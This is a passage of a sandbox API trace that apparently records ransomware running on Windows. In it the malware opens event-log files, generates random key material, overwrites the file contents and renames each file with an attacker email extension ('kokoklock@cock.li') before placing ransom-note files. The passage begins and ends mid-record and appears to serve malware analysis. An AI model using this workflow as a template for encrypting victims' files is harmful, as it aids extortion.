(lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.207] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0b8) returned 1 [0061.207] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx", dwFileAttributes=0x20) returned 0 [0061.208] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433ce8 [0061.208] wcscpy (in: _Dest=0x3433ce8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.208] wcscat (in: _Dest=0x3433ce8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0061.208] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0061.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ce8) returned 1 [0061.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd2f0) returned 1 [0061.208] RtlExitUserThread (Status=0x1) Thread: id = 94 os_tid = 0x7a8 [0061.209] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20 [0061.209] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0061.210] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.210] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x7b2fc20 | out: lpFileSize=0x7b2fc20*=69632) returned 1 [0061.210] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.210] ReadFile (in: hFile=0x5b4, lpBuffer=0x7b2fbf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7b2fbf0, lpOverlapped=0x0 | out: lpBuffer=0x7b2fbf4*, lpNumberOfBytesRead=0x7b2fbf0*=0x4, lpOverlapped=0x0) returned 1 [0061.212] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b458 [0061.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b340 [0061.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4a8 [0061.212] NtQuerySystemTime (in: CurrentTime=0x7b2fbcc | out: CurrentTime=0x7b2fbcc*=132121176191019746) returned 0x0 [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x11ad99ea [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x417e956f [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x331bb6d7 [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0xe50a887d [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0xec3869e3 [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x9a59cdea [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x5b2e4f04 [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x56153011 [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0xd72a62f [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x41f774cf [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x622311 [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x70f6530e [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x872df8be [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x181b81bd [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x10c6f089 [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0xd89c8279 [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x102bf148 [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0xaebfc98b [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x9ce46a0d [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0xcd50325a [0061.212] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x9027b1d9 [0061.213] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0xacb760b2 [0061.213] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0xe5f8399 [0061.213] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x654790c4 [0061.213] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0xfc20f420 [0061.213] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x82a178c0 [0061.213] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x7efb5737 [0061.213] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0xe68b46e9 [0061.213] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x3d06504f [0061.213] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x7bbe4079 [0061.213] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x563f98c5 [0061.213] RtlRandom (in: Seed=0x7b2fbd8 | out: Seed=0x7b2fbd8) returned 0x58b4f979 [0061.221] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4d0 [0061.223] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.223] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4f8 [0061.223] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.223] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b458) returned 1 [0061.223] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.223] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.223] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x7b2fba4, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x7b2fba4*=0x4096, lpOverlapped=0x0) returned 1 [0061.224] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0061.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2a0 [0061.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2a0) returned 1 [0061.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.225] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b458 [0061.225] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b200 [0061.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b200) returned 1 [0061.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0061.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.225] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x7b2fba4, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x7b2fba4*=0x4096, lpOverlapped=0x0) returned 1 [0061.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.225] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.225] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b458*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7b2fbdc, lpOverlapped=0x0 | out: lpBuffer=0x347b458*, lpNumberOfBytesWritten=0x7b2fbdc*=0x20, lpOverlapped=0x0) returned 1 [0061.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b458) returned 1 [0061.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.225] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b4f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x7b2fbf0, lpOverlapped=0x0 | out: lpBuffer=0x347b4f8*, lpNumberOfBytesWritten=0x7b2fbf0*=0x8, lpOverlapped=0x0) returned 1 [0061.225] WriteFile (in: hFile=0x5b4, lpBuffer=0x7b2fc08*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7b2fbf0, lpOverlapped=0x0 | out: lpBuffer=0x7b2fc08*, lpNumberOfBytesWritten=0x7b2fbf0*=0x4, lpOverlapped=0x0) returned 1 [0061.225] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7b2fbf0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x7b2fbf0*=0x4, lpOverlapped=0x0) returned 1 [0061.226] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x7b2fbf0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x7b2fbf0*=0x6c, lpOverlapped=0x0) returned 1 [0061.226] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b340*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7b2fbf0, lpOverlapped=0x0 | out: lpBuffer=0x347b340*, lpNumberOfBytesWritten=0x7b2fbf0*=0x20, lpOverlapped=0x0) returned 1 [0061.226] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7b2fbf0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x7b2fbf0*=0x4, lpOverlapped=0x0) returned 1 [0061.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b340) returned 1 [0061.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4d0) returned 1 [0061.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4f8) returned 1 [0061.226] CloseHandle (hObject=0x5b4) returned 1 [0061.228] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x341e0b8 [0061.228] wcscpy (in: _Dest=0x341e0b8, _Source="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" [0061.228] wcscat (in: _Dest=0x341e0b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0061.229] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.229] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.229] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0b8) returned 1 [0061.229] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0061.229] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34339e8 [0061.229] wcscpy (in: _Dest=0x34339e8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.229] wcscat (in: _Dest=0x34339e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0061.229] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0061.230] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34339e8) returned 1 [0061.230] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e7090) returned 1 [0061.230] RtlExitUserThread (Status=0x1) Thread: id = 95 os_tid = 0xf74 [0061.231] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20 [0061.231] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx", dwFileAttributes=0x20) returned 1 [0061.231] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.231] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x7bafc54 | out: lpFileSize=0x7bafc54*=69632) returned 1 [0061.231] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.231] ReadFile (in: hFile=0x5b4, lpBuffer=0x7bafc28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7bafc24, lpOverlapped=0x0 | out: lpBuffer=0x7bafc28*, lpNumberOfBytesRead=0x7bafc24*=0x4, lpOverlapped=0x0) returned 1 [0061.233] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.233] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b458 [0061.233] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b340 [0061.233] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4d0 [0061.233] NtQuerySystemTime (in: CurrentTime=0x7bafc00 | out: CurrentTime=0x7bafc00*=132121176191332062) returned 0x0 [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x70f951c0 [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x952a161c [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x140a9d04 [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0xa969cbb1 [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x6a36af5f [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0xec6e414f [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0xdf83c949 [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0xcbe13286 [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0xe43681ab [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x812a5953 [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x6fa1416a [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x2f6adb20 [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x8d7bf289 [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x540dee0f [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0xcce3c85f [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0xaa50e441 [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x39025c3 [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x8d698354 [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0xb1675d9c [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x32c4d3f7 [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x71a99b69 [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x84d44b0c [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x37e60d7a [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0xd1902cf3 [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x7d1e8ab3 [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x1146f9e3 [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0xa0449b26 [0061.233] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0xaa80e964 [0061.234] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x6b1441b2 [0061.234] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0xa405cde8 [0061.234] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x609452d4 [0061.234] RtlRandom (in: Seed=0x7bafc0c | out: Seed=0x7bafc0c) returned 0x9bdbd8d7 [0061.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4f8 [0061.244] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.244] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b520 [0061.244] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.244] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b458) returned 1 [0061.244] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.244] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.244] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x7bafbd8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x7bafbd8*=0x4096, lpOverlapped=0x0) returned 1 [0061.245] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.245] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.245] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0061.245] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2a0 [0061.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2a0) returned 1 [0061.245] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.245] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b458 [0061.245] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b200 [0061.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b200) returned 1 [0061.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0061.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.245] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x7bafbd8, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x7bafbd8*=0x4096, lpOverlapped=0x0) returned 1 [0061.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.246] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.246] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b458*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7bafc10, lpOverlapped=0x0 | out: lpBuffer=0x347b458*, lpNumberOfBytesWritten=0x7bafc10*=0x20, lpOverlapped=0x0) returned 1 [0061.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b458) returned 1 [0061.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.246] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b520*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x7bafc24, lpOverlapped=0x0 | out: lpBuffer=0x347b520*, lpNumberOfBytesWritten=0x7bafc24*=0x8, lpOverlapped=0x0) returned 1 [0061.246] WriteFile (in: hFile=0x5b4, lpBuffer=0x7bafc3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7bafc24, lpOverlapped=0x0 | out: lpBuffer=0x7bafc3c*, lpNumberOfBytesWritten=0x7bafc24*=0x4, lpOverlapped=0x0) returned 1 [0061.246] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7bafc24, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x7bafc24*=0x4, lpOverlapped=0x0) returned 1 [0061.246] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x7bafc24, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x7bafc24*=0x6c, lpOverlapped=0x0) returned 1 [0061.246] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b340*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7bafc24, lpOverlapped=0x0 | out: lpBuffer=0x347b340*, lpNumberOfBytesWritten=0x7bafc24*=0x20, lpOverlapped=0x0) returned 1 [0061.246] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7bafc24, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x7bafc24*=0x4, lpOverlapped=0x0) returned 1 [0061.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b340) returned 1 [0061.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4f8) returned 1 [0061.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b520) returned 1 [0061.247] CloseHandle (hObject=0x5b4) returned 1 [0061.249] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33ce7c8 [0061.249] wcscpy (in: _Dest=0x33ce7c8, _Source="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" [0061.250] wcscat (in: _Dest=0x33ce7c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0061.250] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.250] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce7c8) returned 1 [0061.251] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx", dwFileAttributes=0x20) returned 0 [0061.251] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34339e8 [0061.251] wcscpy (in: _Dest=0x34339e8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.251] wcscat (in: _Dest=0x34339e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0061.251] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0061.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34339e8) returned 1 [0061.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c7d40) returned 1 [0061.251] RtlExitUserThread (Status=0x1) Thread: id = 96 os_tid = 0xd58 [0061.252] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20 [0061.252] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", dwFileAttributes=0x20) returned 1 [0061.252] CreateFileW 